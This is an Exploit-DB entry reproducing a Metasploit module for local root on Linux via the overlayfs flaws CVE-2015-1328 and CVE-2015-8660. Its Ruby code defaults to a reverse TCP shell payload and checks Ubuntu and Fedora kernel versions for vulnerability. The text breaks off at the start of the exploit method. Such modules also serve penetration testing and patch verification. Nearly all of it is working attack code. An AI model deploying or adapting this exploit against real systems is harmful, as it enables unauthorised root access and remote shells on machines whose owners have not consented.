Exploit-DB #40688
Description: Linux Kernel (Ubuntu / Fedora / RedHat) - 'Overlayfs' Local Privilege Escalation (Metasploit)
Type: local
Platform: linux
Date: 2016-11-02
Author: Metasploit

Exploit:
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require "msf/core"

class MetasploitModule < Msf::Exploit::Local
  Rank = GoodRanking

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
        'Name'           => 'Overlayfs Privilege Escalation',
        'Description'    => %q{
          This module attempts to exploit two different CVEs related to overlayfs.
          CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
                                            3.16.0-25 (14.10 default) < 3.16.0-41
                                            3.19.0-18 (15.04 default) < 3.19.0-21
          CVE-2015-8660:
              Ubuntu:
                     3.19.0-18 < 3.19.0-43
                     4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
              Fedora:
                     < 4.2.8 (vulnerable, un-tested)
              Red Hat:
                     < 3.10.0-327 (rhel 6, vulnerable, un-tested)
        },
        'License'        => MSF_LICENSE,
        'Author'         =>
          [
            'h00die <mike@shorebreaksecurity.com>',  # Module
            'rebel'                         # Discovery
          ],
        'DisclosureDate' => 'Jun 16 2015',
        'Platform'       => [ 'linux'],
        'Arch'           => [ ARCH_X86, ARCH_X86_64 ],
        'SessionTypes'   => [ 'shell', 'meterpreter' ],
        'Targets'        =>
          [
            [ 'CVE-2015-1328', { } ],
            [ 'CVE-2015-8660', { } ]
          ],
        'DefaultTarget'  => 1,
        'DefaultOptions' =>
          {
            'payload' => 'linux/x86/shell/reverse_tcp' # for compatibility due to the need on cve-2015-1328 to run /bin/su
          },
        'References'     =>
          [
            [ 'EDB', '39166'], # CVE-2015-8660
            [ 'EDB', '37292'], # CVE-2015-1328
            [ 'CVE', '2015-1328'],
            [ 'CVE', '2015-8660']
          ]
      ))
    register_options(
      [
        OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
      ], self.class)
  end

  def check
    def mounts_exist?()
      vprint_status('Checking if mount points exist')
      if target.name == 'CVE-2015-1328'
        if not directory?('/tmp/ns_sploit')
          vprint_good('/tmp/ns_sploit not created')
          return true
        else
          print_error('/tmp/ns_sploit directory exists.  Please delete.')
          return false
        end
      elsif target.name == 'CVE-2015-8660'
        if not directory?('/tmp/haxhax')
          vprint_good('/tmp/haxhax not created')
          return true
        else
          print_error('/tmp/haxhax directory exists.  Please delete.')
          return false
        end
      end
    end

    def kernel_vuln?()
      os_id = cmd_exec('grep ^ID= /etc/os-release')
      case os_id
      when 'ID=ubuntu'
        kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
        case kernel.release.to_s
        when '3.13.0'
          if kernel.between?(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.16.0'
          if kernel.between?(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '3.19.0'
          if kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
            return true
          elsif kernel.between?(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        when '4.2.0'
          if kernel.between?(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
            vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
            return true
          else
            print_error("Kernel #{kernel} is NOT vulnerable")
            return false
          end
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      when 'ID=fedora'
        kernel = Gem::Version.new(cmd_exec('/usr/bin/uname -r').sub(/\.fc.*/, '')) # we need to remove the trailer after .fc
        # irb(main):008:0> '4.0.4-301.fc22.x86_64'.sub(/\.fc.*/, '')
        # => "4.0.4-301"
        if kernel.release < Gem::Version.new('4.2.8')
          vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660.  Exploitation UNTESTED")
          return true
        else
          print_error("Non-vuln kernel #{kernel}")
          return false
        end
      else
        print_error("Unknown OS: #{os_id}")
        return false
      end
    end

    if mounts_exist?() && kernel_vuln?()
      return CheckCode::Appears
    else
      return CheckCode::Safe
    end
  end

  def exploit

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    filename = rand_text_alphanumeric(8)
    executable_path